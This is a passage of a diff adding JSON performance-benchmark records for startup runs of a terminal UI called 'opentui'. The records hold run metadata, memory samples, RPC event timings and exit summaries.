"method": "config.get",
|
||||
"t_ms": 228
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 228
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.active_list",
|
||||
"t_ms": 228
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 228
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 228
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "completed",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 0,
|
||||
"signal": 0,
|
||||
"t": 939
|
||||
},
|
||||
"stream_done": false,
|
||||
"msgs_streamed": 0,
|
||||
"events_streamed": null,
|
||||
"pty_bytes_total": 6785,
|
||||
"pty_data_callbacks": 25,
|
||||
"first_byte_ms": 68,
|
||||
"session_create_ms": 202,
|
||||
"stream_start_ms": null,
|
||||
"vmhwm_kb": 110684,
|
||||
"cg_peak": null,
|
||||
"drain_max_loop_lag_ms": 2,
|
||||
"drain_lag_violations": 0,
|
||||
"drain_ok": true,
|
||||
"digest": null
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,126 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "startup",
|
||||
"ui": "opentui",
|
||||
"config": "otui-capped",
|
||||
"mode": "startup",
|
||||
"rep": 2,
|
||||
"run_id": "mq8k414m-e67a",
|
||||
"utc": "2026-06-10T21:04:20.662Z",
|
||||
"sha": "197d49948",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": null,
|
||||
"container_cap": false,
|
||||
"container_memory": null,
|
||||
"opentui_cap": 3000,
|
||||
"fixture": {
|
||||
"path": "",
|
||||
"msgs": 0,
|
||||
"sha256": ""
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2374523,
|
||||
"gw_pid": 2374532,
|
||||
"cgroup": null,
|
||||
"load_avg_at_start": [
|
||||
0.31,
|
||||
0.49,
|
||||
0.46
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 26,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 55320,
|
||||
"pss_kb": 28903,
|
||||
"private_dirty_kb": 17792,
|
||||
"vmhwm_kb": 55372,
|
||||
"utime_ticks": 2,
|
||||
"stime_ticks": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 1030,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 28911,
|
||||
"pty_writes": 13,
|
||||
"rss_kb": 105108,
|
||||
"pss_kb": 64892,
|
||||
"private_dirty_kb": 48364,
|
||||
"vmhwm_kb": 107848,
|
||||
"utime_ticks": 18,
|
||||
"stime_ticks": 2
|
||||
},
|
||||
{
|
||||
"kind": "final",
|
||||
"t_ms": 1150,
|
||||
"msgs": 0,
|
||||
"events": 0,
|
||||
"pty_bytes": 28911,
|
||||
"pty_writes": 13,
|
||||
"rss_kb": 105108,
|
||||
"pss_kb": 64892,
|
||||
"private_dirty_kb": 48364,
|
||||
"vmhwm_kb": 107848,
|
||||
"utime_ticks": 18,
|
||||
"stime_ticks": 2
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 176
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "startup.catalog",
|
||||
"t_ms": 176
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "model.options",
|
||||
"t_ms": 176
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "completed",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 0,
|
||||
"signal": 0,
|
||||
"t": 1332
|
||||
},
|
||||
"stream_done": false,
|
||||
"msgs_streamed": 0,
|
||||
"events_streamed": null,
|
||||
"pty_bytes_total": 29189,
|
||||
"pty_data_callbacks": 17,
|
||||
"first_byte_ms": 135,
|
||||
"session_create_ms": 176,
|
||||
"stream_start_ms": null,
|
||||
"vmhwm_kb": 107848,
|
||||
"cg_peak": null,
|
||||
"drain_max_loop_lag_ms": 2,
|
||||
"drain_lag_violations": 0,
|
||||
"drain_ok": true,
|
||||
"digest": null
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,126 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "startup",
|
||||
"ui": "opentui",
|
||||
"config": "otui-capped",
|
||||
"mode": "startup",
|
||||
"rep": 3,
|
||||
"run_id": "mq8k4ifv-j1w7",
|
||||
"utc": "2026-06-10T21:04:43.099Z",
|
||||
"sha": "197d49948",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": null,
|
||||
"container_cap": false,
|
||||
"container_memory": null,
|
||||
"opentui_cap": 3000,
|
||||
"fixture": {
|
||||
"path": "",
|
||||
"msgs": 0,
|
||||
"sha256": ""
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2375091,
|
||||
"gw_pid": 2375153,
|
||||
"cgroup": null,
|
||||
"load_avg_at_start": [
|
||||
0.28,
|
||||
0.47,
|
||||
0.45
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 27,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 54772,
|
||||
"pss_kb": 28432,
|
||||
"private_dirty_kb": 17324,
|
||||
"vmhwm_kb": 54784,
|
||||
"utime_ticks": 2,
|
||||
"stime_ticks": 0
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 1032,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 28911,
|
||||
"pty_writes": 13,
|
||||
"rss_kb": 105188,
|
||||
"pss_kb": 65019,
|
||||
"private_dirty_kb": 48464,
|
||||
"vmhwm_kb": 107864,
|
||||
"utime_ticks": 18,
|
||||
"stime_ticks": 2
|
||||
},
|
||||
{
|
||||
"kind": "final",
|
||||
"t_ms": 1147,
|
||||
"msgs": 0,
|
||||
"events": 0,
|
||||
"pty_bytes": 28911,
|
||||
"pty_writes": 13,
|
||||
"rss_kb": 105188,
|
||||
"pss_kb": 65019,
|
||||
"private_dirty_kb": 48464,
|
||||
"vmhwm_kb": 107864,
|
||||
"utime_ticks": 18,
|
||||
"stime_ticks": 2
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 176
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "startup.catalog",
|
||||
"t_ms": 176
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "model.options",
|
||||
"t_ms": 176
|
||||
}
|
||||
],
|
||||
"summary": {
|
||||
"result": "completed",
|
||||
"cap_hit": false,
|
||||
"cap_hit_basis": null,
|
||||
"at_messages": null,
|
||||
"exit": {
|
||||
"exitCode": 0,
|
||||
"signal": 0,
|
||||
"t": 1329
|
||||
},
|
||||
"stream_done": false,
|
||||
"msgs_streamed": 0,
|
||||
"events_streamed": null,
|
||||
"pty_bytes_total": 29189,
|
||||
"pty_data_callbacks": 17,
|
||||
"first_byte_ms": 132,
|
||||
"session_create_ms": 176,
|
||||
"stream_start_ms": null,
|
||||
"vmhwm_kb": 107864,
|
||||
"cg_peak": null,
|
||||
"drain_max_loop_lag_ms": 2,
|
||||
"drain_lag_violations": 0,
|
||||
"drain_ok": true,
|
||||
"digest": null
|
||||
}
|
||||
}
|
||||